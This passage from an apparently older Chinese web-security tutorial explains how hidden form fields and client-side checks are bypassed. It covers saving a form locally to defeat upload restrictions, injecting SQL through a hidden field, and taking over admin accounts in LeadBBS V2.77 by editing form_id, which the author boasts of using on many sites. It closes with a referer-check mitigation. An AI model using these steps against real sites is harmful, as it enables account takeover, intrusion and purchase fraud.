            < td width=”74″ align=”right” height=”26″>标题:
            < td width=”399″>十二少
          < /tr>
          < tr>
            < td width=”74″ align=”right” height=”26″>照片说明:
            < td width=”399″>十二少’s照片
      < /td>
          < /tr>
          < tr>
            < td width=”74″ align=”right” height=”26″>图片路径:
            < td width=”399″>
              < input type=”file” name=”big”>
            < /td>
          < /tr>
          < tr align=”center”>
            < td colspan=”2″ height=”26″>

              < input type=”hidden” name=”act” value=”upload”>
              < input type=”hidden” name=”filepath” value=”/alumni/class/classimage”>
              < input type=”submit” name=”Submit2″ value=”开始上传”>
              < br>
            < /td>
          < /tr>
          < tr align=”center”>
            < td colspan=”2″ height=”26″ class=”di”>只支持jpg,gif文件,图片大小在
                 150k< /font>以内,上传时请耐心等待!
          < /tr>
        < /form>
        ….
       只要将前面查看得到的代码中的验证文件类型的SCRIPT删掉,然后再修改ACTION后的URL保存为HTML文件即可
    
  2:突破表格注入限制
      这个和前面一差不多就不再多说了(呵呵,其实是找不到实例拉)
      另外字符输入的长度限制也差不多,只要你看得懂这些HTML语言。
                                  二.HIDDEN隐藏字段缺陷
     终于说到重点了。
  1:还是SQL注入问题。
     目前SQL注入工击仍是入侵中的一大热点,不过随着时间的推移,一般的大型网站程序都已经将明显的
  注入点打好补丁拉,但是一些隐藏的比较深的注入点却还是有不少的,除非将它所有的代码都翻新一片。
   明显的注入点如:.asp?id=*,输入框等都已经过滤了,但这就能彻底的杜绝黑客的入侵吗?回答当然是NO
  这就要提到本文的重点HIDDEN隐藏字段拉。
       图1是某网游官方站点的帐号激活界面,查看源码,搜索”HIDDEN”字符串
   
    < form action=”index_game.asp” method=”post” name=”form1″ target=”_blank” onSubmit=”return active_go();”>
    …
    < td height=”25″ align=”center”>
                                             
    < input type=”submit” name=”Submit” value=”提交”>
     …                                                            
     < /form>
    如图2,看到了吗那个:
     只要它没有在客户端做任何限制,
  这就是一个注入点拉,将”user_name”的值”norfolk”改为想要注入的代码,然后和前面的一样将”ACTION”
  的改为相应的URL,保存为HTML文件~~~~~~~~~
    不过,它的安全还不错,提交后返回错误提示窗口,很显然它在服务端禁止了外部提交。
 
 2:非法修改其他用户密码。
 
   典型的代表是leadbbs V2.77的那个密码修改漏洞:任何注册用户都可以修改管理员密码,从而入侵服务器,
 进而拿下主机。
   登陆后修改密码,查看源码,其主要漏洞代码如下:
 …….
< form action=usermodify.asp method=post name=form1 onsubmit=”submitonce(this);return validationpassed”>
< tr>
< td align=middle height=25>
< p>*用户名称:
< td height=25>
< p>norfolk

 


< tr>
< td align=middle height=25>
< p>*你的密码:

 


< td height=25>
< input class=fminpt name=submitflag type=hidden value=52norflk>
< input class=fminpt name=form_id type=hidden value=265>
……..

 

 其中我的from_id的值为265,在管理员例表中查看管理员ID,然后将它替换265,再将ACTION的URL相应的修改一下
保存为HTML文件再提交就可以将管理员的密码改成52norfolk。
 
  这个漏洞早在2003.12月就已经公布,这里在拿出来只是为了说明一下这个HIDDEN隐藏字段的危害。不过我发现目前
还是有不少程序可以任意修改其他用户的密码,至于方法如出一辙,(偶用这个漏洞拿下过不少站点的ADMIN):-_-

 3:任意修改价格以达到低价甚至不花一分钱网上购物。
 
    早在几年前国内国外的一些大型网上购物网站就已经出现过类似的漏洞。 这些网站的后台程序的验证机制并不健全
 以至可以在外部提交数据,于是便出现了低价甚至不花一分钱购买商品的事件,导致这些网站造成重大的经济损失,
 由此观之,网络安全是马虎不得的,即使一丁点而问题,造成的损失也是不可估量的。希望之后的程序员在编写程序时能
  够尽量细心。这里我就不再将它的利用过程写出来了,反正它们的利用过程都基本相似。
 
  最后给大家介绍老外写的一个不错的检测WEB应用程序安全性的工具,一下是安全焦点的介绍:

   Achilles是一个设计用来测试web应用程序安全性的工具。它是一个代理服务器,在一
  个HTTP会话中扮演着”中间人”(man-in-the-middle)的角色。一个典型的HTTP代理服
  务器将在客户浏览器和web服务器间转发数据包,但Achilles却载取发向任一方的HTTP会
  话数据,并且在转发数据前可以让用户修改这些数据.
 
  相信在WEB入侵方面可以为您提供不少的帮助,如果有可能下次再专门写篇文章介绍它吧,这里我就不多说了,有兴趣的
  朋友可以自己下载研究研究,它的下载地址:http://www.xfocus.net/tools/200403/achilles-0-27.zip
 

  后记:
    到这里还是说一下解决方法吧。
    首先当然是禁止外部提交,这里有种不错的方法,大家可以参考参考:

         < %
         server_v1=Cstr(Request.ServerVariables(“HTTP_REFERER”))
         server_v2=Cstr(Request.ServerVariables(“SERVER_NAME”))
         if  mid(server_v1,8,len(server_v2))<>server_v2  then
         % >
         你想入侵我也不要这么麻烦嘛,直接打电话告诉我,我给你开WEBSHELL,呵呵
         < %
         Response.Redirect “Fuck-Hacker.asp”
         end if
         % >
   但这不能彻底杜绝黑客对传递的DIDDEN数据的修改,前面那个ACHILLES就能修改,所以在
   服务端还要有健全的验证机制。